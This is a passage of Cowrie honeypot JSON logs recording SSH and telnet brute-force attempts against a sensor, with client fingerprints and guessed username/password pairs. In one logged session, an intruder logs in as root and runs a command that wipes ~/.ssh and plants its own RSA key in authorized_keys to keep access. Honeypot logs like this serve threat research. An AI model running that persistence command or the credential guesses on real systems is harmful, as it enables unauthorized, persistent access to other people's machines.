16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:43:19.051485Z","src_ip":"92.118.39.92","session":"ddd380748ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:43:19.463539Z","src_ip":"92.118.39.92","session":"ddd380748ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:43:20.576529Z","src_ip":"92.118.39.92","session":"ddd380748ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.923242330551147,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:43:30.664459Z","src_ip":"121.184.174.6","session":"25eb598ffce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50408,"dst_ip":"159.203.135.109","dst_port":22,"session":"e10e0e29b573","protocol":"ssh","message":"New connection: 195.178.110.218:50408 (159.203.135.109:22) [session: e10e0e29b573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:44:53.659352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:44:53.663427Z","src_ip":"195.178.110.218","session":"e10e0e29b573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:44:53.738333Z","src_ip":"195.178.110.218","session":"e10e0e29b573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:44:53.964691Z","src_ip":"195.178.110.218","session":"e10e0e29b573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:44:55.045528Z","src_ip":"195.178.110.218","session":"e10e0e29b573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46054,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e57c8d3a452","protocol":"ssh","message":"New connection: 92.118.39.92:46054 (10.17.0.5:22) [session: 5e57c8d3a452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:45:37.012892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:45:37.017966Z","src_ip":"92.118.39.92","session":"5e57c8d3a452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:45:37.127892Z","src_ip":"92.118.39.92","session":"5e57c8d3a452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:45:37.561649Z","src_ip":"92.118.39.92","session":"5e57c8d3a452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:45:38.671272Z","src_ip":"92.118.39.92","session":"5e57c8d3a452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47864,"dst_ip":"159.203.135.109","dst_port":22,"session":"314342a4487e","protocol":"ssh","message":"New connection: 195.178.110.218:47864 (159.203.135.109:22) [session: 314342a4487e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:31.182466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:31.185775Z","src_ip":"195.178.110.218","session":"314342a4487e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:31.264962Z","src_ip":"195.178.110.218","session":"314342a4487e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:31.504651Z","src_ip":"195.178.110.218","session":"314342a4487e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:32.586291Z","src_ip":"195.178.110.218","session":"314342a4487e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ccfbd40f20d","protocol":"ssh","message":"New connection: 92.118.39.92:34492 (10.17.0.5:22) [session: 0ccfbd40f20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:55.991255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:55.995917Z","src_ip":"92.118.39.92","session":"0ccfbd40f20d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:56.100853Z","src_ip":"92.118.39.92","session":"0ccfbd40f20d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:56.443850Z","src_ip":"92.118.39.92","session":"0ccfbd40f20d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:47:57.551021Z","src_ip":"92.118.39.92","session":"0ccfbd40f20d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.124.148.87","src_port":41960,"dst_ip":"10.17.0.5","dst_port":22,"session":"93b4ddc8273d","protocol":"ssh","message":"New connection: 34.124.148.87:41960 (10.17.0.5:22) [session: 93b4ddc8273d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:13.411754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:13.416100Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:13.663020Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"test@1111","message":"login attempt [root/test@1111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:14.664114Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:15.448634Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:15.451663Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:15.455499Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:15.683907Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:16.211529Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:16.214851Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:16.445637Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:16.448535Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.124.148.87","src_port":41970,"dst_ip":"10.17.0.5","dst_port":22,"session":"91024ac9110b","protocol":"ssh","message":"New connection: 34.124.148.87:41970 (10.17.0.5:22) [session: 91024ac9110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:16.668872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:16.673011Z","src_ip":"34.124.148.87","session":"91024ac9110b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:16.914336Z","src_ip":"34.124.148.87","session":"91024ac9110b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:17.915401Z","src_ip":"34.124.148.87","session":"91024ac9110b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:19.163708Z","src_ip":"34.124.148.87","session":"91024ac9110b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.124.148.87","src_port":41984,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbeef73038a7","protocol":"ssh","message":"New connection: 34.124.148.87:41984 (10.17.0.5:22) [session: dbeef73038a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:19.415360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:19.419345Z","src_ip":"34.124.148.87","session":"dbeef73038a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:19.665245Z","src_ip":"34.124.148.87","session":"dbeef73038a7","protocol":"ssh"}
